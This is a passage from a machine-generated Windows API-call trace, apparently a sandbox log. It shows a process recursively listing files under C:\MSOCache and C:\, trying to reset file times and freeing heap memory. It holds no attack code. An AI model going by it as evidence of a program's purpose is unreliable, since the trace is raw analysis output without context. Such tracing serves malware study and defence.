ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0263.822] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0263.823] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0263.823] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.823] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.823] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.823] GetLastError () returned 0x12 [0263.823] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0263.823] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.823] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0263.824] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0263.824] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0263.824] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0263.825] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.825] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94fe90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94fe90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.825] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94fe90) returned 1 [0263.825] NtClose (Handle=0x18c) returned 0x0 [0263.825] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.826] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.827] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0263.828] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0263.828] GetLastError () returned 0x12 [0263.828] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0263.828] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0263.829] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0263.829] GetLastError () returned 0x12 [0263.829] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0263.829] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0263.830] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0263.830] GetLastError () returned 0x12 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0263.830] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0263.830] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0263.830] GetLastError () returned 0x12 [0263.830] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eea0) returned 1 [0263.830] FindClose (in: hFindFile=0x549000 | out: hFindFile=0x549000) returned 1 [0263.831] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ef28) returned 1 [0263.831] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8f258) returned 1 [0263.831] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xad80f900, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0263.831] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118fa34 | out: lpFindFileData=0x118fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0263.831] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0x118f930 | out: lpFileInformation=0x118f930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, 